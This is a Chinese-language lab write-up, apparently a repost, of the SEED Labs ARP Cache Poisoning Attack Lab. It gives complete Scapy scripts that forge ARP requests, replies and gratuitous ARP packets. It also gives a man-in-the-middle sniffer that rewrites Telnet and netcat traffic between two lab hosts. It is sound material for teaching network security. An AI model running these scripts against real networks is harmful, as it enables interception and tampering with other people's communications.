目录
实验手册
实验环境
Task 1: ARP Cache Poisoning
Task 1.A (using ARP request).
Task 1.B (using ARP reply).
Task 1.C (using ARP gratuitous message).
Task 2: MITM Attack on Telnet using ARP Cache Poisoning
Task 3: MITM Attack on Netcat using ARP Cache Poisoning
实验手册
ARP Cache Poisoning Attack Lab
实验环境
Task 1: ARP Cache Poisoning
本节任务需要通过packet伪造发起ARP缓存毒害攻击。当HostA与HostB相互通信时,他们的ARP数据将被Attacker拦截并修改,使得Attacker成为HostA与HostB的中间人(中间人攻击)。当然,当前任务只关注ARP缓存毒害的部分。
Task 1.A (using ARP request).
在Attacker的主机上向HostA发送一则ARP请求,使HostA的ARP缓存中,HostB的IP地址被映射为Attacker的MAC地址。
首先在HostA上使用命令arp -n确保HostA此前没有记录HostB的IP-MAC映射。如果有,使用arp -d 10.9.0.x清除这条映射关系
接下来需要使用ifconfig查询MAC地址,然后实现代码并在Attacker上运行这则代码。
from scapy.all import *
MAC_A = '02:42:0a:09:00:05'
MAC_B = '02:42:0a:09:00:06'
MAC_M = '02:42:0a:09:00:69'
ether = Ether(src = MAC_M, dst = MAC_A) # 定义Attacker发往HostA的数据帧
arp = ARP() # 定义一个ARP报文
arp.op = 1 # 1 for ARP request; 2 for ARP reply
arp.psrc = '10.9.0.6' # 伪造HostB发送的ARP请求
arp.pdst = '10.9.0.5' # 发给HostA
arp.hwsrc = MAC_M # 告诉HostA,发送方的MAC地址
sendp(ether/arp) # sendp用于在数据链路层发送一个帧(不是send)
此时,我们再在HostA上查询arp缓存,即可发现HostB的IP被映射为Attacker的MAC地址。
Task 1.B (using ARP reply).
在Attacker的主机上向HostA发送一则ARP回复,使HostA的ARP缓存中,HostB的IP地址被映射为Attacker的MAC地址。在此之前,需要保证正确的IP-MAC关系存在于HostA的缓存中。
我们在Attacker上运行以下代码
from scapy.all import *
MAC_A = '02:42:0a:09:00:05'
MAC_B = '02:42:0a:09:00:06'
MAC_M = '02:42:0a:09:00:69'
ether = Ether(src = MAC_M, dst = MAC_A) # 定义Attacker发往HostA的数据帧
arp = ARP() # 定义一个ARP报文
arp.op = 2 # 1 for ARP request; 2 for ARP reply
arp.psrc = '10.9.0.6' # 伪造HostB发送的ARP回复
arp.pdst = '10.9.0.5' # 发给HostA
arp.hwsrc = MAC_M # 告诉HostA,发送方的MAC地址
arp.hwdst = MAC_A
sendp(ether/arp) # sendp用于在数据链路层发送一个帧(不是send)
此时查询HostA的ARP缓存,即可看到映射关系被修改。
接下来,我们清空掉HostA的ARP缓存,在尝试一遍攻击。此时发现HostA虽然接收到了Attacker的ARP回复,但并没有将其写入缓存。这与Linux内核的策略有关。
Task 1.C (using ARP gratuitous message).
在Attacker的主机上向HostA发送一则免费ARP,使HostA的ARP缓存中,HostB的IP地址被映射为Attacker的MAC地址。ARP免费包是一种特殊的ARP请求包,当主机需要更新其他机器上的ARP缓存时使用,这种数据包有以下特点:
1. 目的IP与源IP相同,均为需要更新的映射关系的IP
2. 目的MAC地址为广播地址
3. 不产生回复报文
接下来实现代码并在Attacker上运行,在此之前,确保正确的IP-MAC关系存在于HostA的缓存中。
from scapy.all import *
MAC_A = '02:42:0a:09:00:05'
MAC_B = '02:42:0a:09:00:06'
MAC_M = '02:42:0a:09:00:69'
MAC_BROADCAST = 'ff:ff:ff:ff:ff:ff'
ether = Ether(src = MAC_M, dst = MAC_BROADCAST)
arp = ARP() # 定义一个ARP报文
arp.op = 2
arp.psrc = '10.9.0.6'
arp.pdst = '10.9.0.6'
arp.hwsrc = MAC_M
arp.hwdst = MAC_BROADCAST
sendp(ether/arp)
运行代码后,HostA中,关于HostB的IP-MAC映射关系被修改
接下来删除HostA上的ARP缓存,重新发起攻击尝试,结果同Task1.B,关系不会被HostA计入缓存。
Task 2: MITM Attack on Telnet using ARP Cache Poisoning
HostA与HostB通过Telnet交换信息,而HostM通过改变两者数据传输路径截获他们的信息,即“中间人“攻击。基本方法即修改HostA和HostB的ARP映射,使A与B的数据均通过M转发。
我们需要首先修改HostA和HostB的ARP缓存,使Attacker充当它们的“中间人”。
from scapy.all import *
MAC_A = '02:42:0a:09:00:05'
MAC_B = '02:42:0a:09:00:06'
MAC_M = '02:42:0a:09:00:69'
MAC_BROADCAST = 'ff:ff:ff:ff:ff:ff'
# 修改HostA的MAC映射
ether = Ether(src = MAC_M, dst = MAC_A)
arp = ARP(op=1)
arp.psrc = '10.9.0.6'
arp.pdst = '10.9.0.5'
arp.hwsrc = MAC_M
sendp(ether/arp)
# 修改HostB的MAC映射
ether = Ether(src = MAC_M, dst = MAC_B)
arp = ARP(op=1)
arp.psrc = '10.9.0.5'
arp.pdst = '10.9.0.6'
arp.hwsrc = MAC_M
sendp(ether/arp)
接下来实现Attacker完成中间人攻击的程序。实现后不着急启动。注意,这里filter应使用MAC作为过滤条件而非IP,因为Attacker在send数据包时不会修改IP,会导致由Attacker发送的伪造包再次被Attacker接收篡改(相当于一种死循环)。
from scapy.all import *
MAC_A = '02:42:0a:09:00:05'
MAC_B = '02:42:0a:09:00:06'
MAC_M = '02:42:0a:09:00:69'
MAC_BROADCAST = 'ff:ff:ff:ff:ff:ff'
HOST_A = '10.9.0.5'
HOST_B = '10.9.0.6'
# 中间人攻击
def spoofing(pkt):
# 截获A ---> B的数据
if pkt[IP].src == HOST_A and pkt[IP].dst == HOST_B:
newpkt = IP(bytes(pkt[IP]))
# 删除校验和以及原有的携带信息
del(newpkt.chksum)
del(newpkt[TCP].payload)
del(newpkt[TCP].chksum)
# 携带数据时,对数据进行处理再转发
if pkt[TCP].payload:
data = pkt[TCP].payload.load
newdata = re.sub(r'[0-9a-zA-Z]', r'x', data.decode('utf-8'))
# print(newdata)
send(newpkt/newdata)
else:
send(newpkt)
return
# 截获B ---> A的数据
if pkt[IP].src == HOST_B and pkt[IP].dst == HOST_A:
# 不做处理直接转发
# 注意数据包每经过一次路由转发,都会修改报文头信息,
# 需要重新计算校验和
newpkt = IP(bytes(pkt[IP]))
del(newpkt.chksum)
del(newpkt[TCP].chksum)
send(newpkt)
return
filter = 'tcp and (ether src ' + MAC_A + ' or ' + 'ether src ' + MAC_B + ')'
pkt = sniff(iface = 'eth0', filter = filter, prn = spoofing)
接下来开始实现中间人攻击。首先在HostA上远程访问HostB,使用命令telnet 10.9.0.6访问HostB。由于Linux主机默认进行路由转发,因此在telnet完成远程连接后,需要通过sysctl net.ipv4.ip_forward=0关闭Attacker的路由转发功能。接下来即可运行以上中间人攻击的代码,此时即可发现,在HostA键入的字符全部被替换为'x'
Task 3: MITM Attack on Netcat using ARP Cache Poisoning
程序保持不变,而是用nc进行HostA到HostB的交互。可以看出,A发往B的信息被M篡改。
(使用ctrl+]进入telnet命令行页面,输入quit回车即可退出telnet远程)
只不过这个Task需要先运行中间人攻击程序,然后在HostB使用nc -lp 9090监听9090端口,之后在HostA使用nc 10.9.0.6 9090发送消息,即可观察到以下现象
文章来源:https://www.toymoban.com/news/detail-489988.html
文章来源地址https://www.toymoban.com/news/detail-489988.html
到了这里,关于【SeedLab】ARP Cache Poisoning Attack Lab的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!